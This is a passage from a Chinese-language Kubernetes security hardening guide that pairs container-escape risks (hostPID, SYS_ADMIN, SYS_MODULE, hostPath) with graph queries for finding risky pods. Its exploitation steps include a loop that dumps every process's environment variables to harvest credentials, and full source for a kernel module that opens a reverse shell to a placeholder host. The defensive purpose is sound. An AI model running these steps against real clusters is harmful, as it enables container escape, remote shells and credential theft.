match (n:Container)-[:ControllerBy*1..]->(n1) where n.privileged=true return distinct labels(n1),n1.name,n1.namespace
2. 尽可能减少共享宿主机 PID 命名空间的容器
当容器启用了 hostPID: true 时,攻击者如果获取到容器权限后,可以在容器中查看宿主机上运行的其他容器的进程信息,以及进程的环境变量。如果宿主机上运行 Pod 中的环境变量存在凭据相关信息则可能会被攻击者利用以获取更大权限。
利用步骤:
# 开启了 hostPID:true 的 Pod 配置
apiVersion: v1
kind: Pod
metadata:
name: hostpid
labels:
app: privileged
spec:
hostPID: true
containers:
- name: ubuntu
image: ubuntu
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
当已经获得一个开启了 hostPID:true 的容器权限时,我们可以通过搜寻进程的环境变量信息来发现其他 Pod 中存储的敏感数据:
for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done > envs.txt
获取到其他 Pod 中存储的凭证数据之后可以利用该凭证数据执行进一步的横向。
如果 Pod 同时设置了 `hostPID:true` 和 `privileged:true` 时,则可以使用 nsenter 获取到宿主机的shell实现容器逃逸。
修复建议:
搜寻容器集群中存在 hostPID:true 的 Pod 信息,并且应优先处理同时 Pod Container 中设置了 securityContext.privileged: true 的 Pod
match (n:Pod)-[:ControllerBy*0..]->(n1) where n.hostPID=true return distinct labels(n1),n1.name,n1.namespace
3. 尽可能减少添加了 SYS_ADMIN 权限的容器
启用了 SYS_ADMIN 权限的容器,可以通过挂载宿主机 cgroup,利用 cgroup notify_on_release 的特性在宿主机上执行 shell,从而实现容器逃逸。
利用步骤:
利用 neargle 师傅提供的脚本进行复现:https://github.com/neargle/cloud_native_security_test_case/blob/master/privileged/1-host-ps.sh
修复建议:
搜寻容器集群中存在 SYS_ADMIN 权限的容器,并推动治理。
match (n:Container)-[:ControllerBy]->(pod:Pod)-[:ControllerBy*0..]->(n1) where 'SYS_ADMIN' in n.addCapabilities return distinct labels(n1),n1.name,n1.namespace
4. 尽可能减少添加了 SYS_MODULE 权限的容器
启用了 SYS_MODULE 权限的容器允许用户从容器内加载内核模块,从而导致容器逃逸。
利用步骤:
反弹shell 模块源码:
// evilmodule.c
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/<host>/<port> 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exitingn");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
Makefile 文件内容
obj-m +=evilmodule.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
在与 Pod 相同的内核版本的系统内进行编译,并将编译后的结果上传到 Pod 中:
kubectl cp evilmodule.ko sys-ptrace:/root
在容器中执行 insmod evilmodule.ko 成功获得反弹 shell
修复建议:
通常情况下很少赋予容器 SYS_MODULE 权限,如在容器集群中发现,则与 SRE 沟通具体使用需求,推动治理。
match (n:Container)-[:ControllerBy]->(pod:Pod)-[:ControllerBy*0..]->(n1) where 'SYS_MODULE' in n.addCapabilities return distinct labels(n1),n1.name,n1.namespace
5. 尽可能减少使用 hostPath 挂载特殊路径的容器
攻击者可以通过向 hostPath 挂载的敏感路径 写入 ssh 认证密钥、计划任务反弹shell 等方式获取到 Node 节点的权限,从而实现容器逃逸。
MATCH p=(c:Container)-[r:MountStorage]->(n:Storage)
where n.storageType="hostPath"
with apoc.convert.fromJsonMap(n.volumeSource, '$.hostPath') as hp,c
where hp.path='/var/log/' or hp.path='/' or hp.path='/proc' or hp.path='/root' or hp.path='/etc' or hp.path contains '.ssh' or hp.path contains '.bashrc' or hp.path contains 'docker.sock' or hp.path contains '/etc/cron.d' or hp.path contains '/var/spool/cron' or hp.path='/etc/crontab'
with hp,c
MATCH p=(c)-[:ControllerBy*1..3]->(n:Pod|Deployment|StatefulSet|DaemonSet)
return distinct n.name,n.namespace,hp.path
五、结语
由于作者本身能力有限,文章中不可避免会有疏漏错误之处,希望得到大家的指正,如有任何问题可通过邮件或微信与我联系:h7hac9#gmail.com,微信号: h7hac9
参考文档
1.https://github.com/neargle/my-re0-k8s-security
2.https://unit42.paloaltonetworks.com/kubernetes-privilege-escalation/
3.https://github.com/BloodHoundAD/BloodHound
原文始发于微信公众号(贝壳安全应急响应中心):技术分享|Kubernetes 安全风险加固手册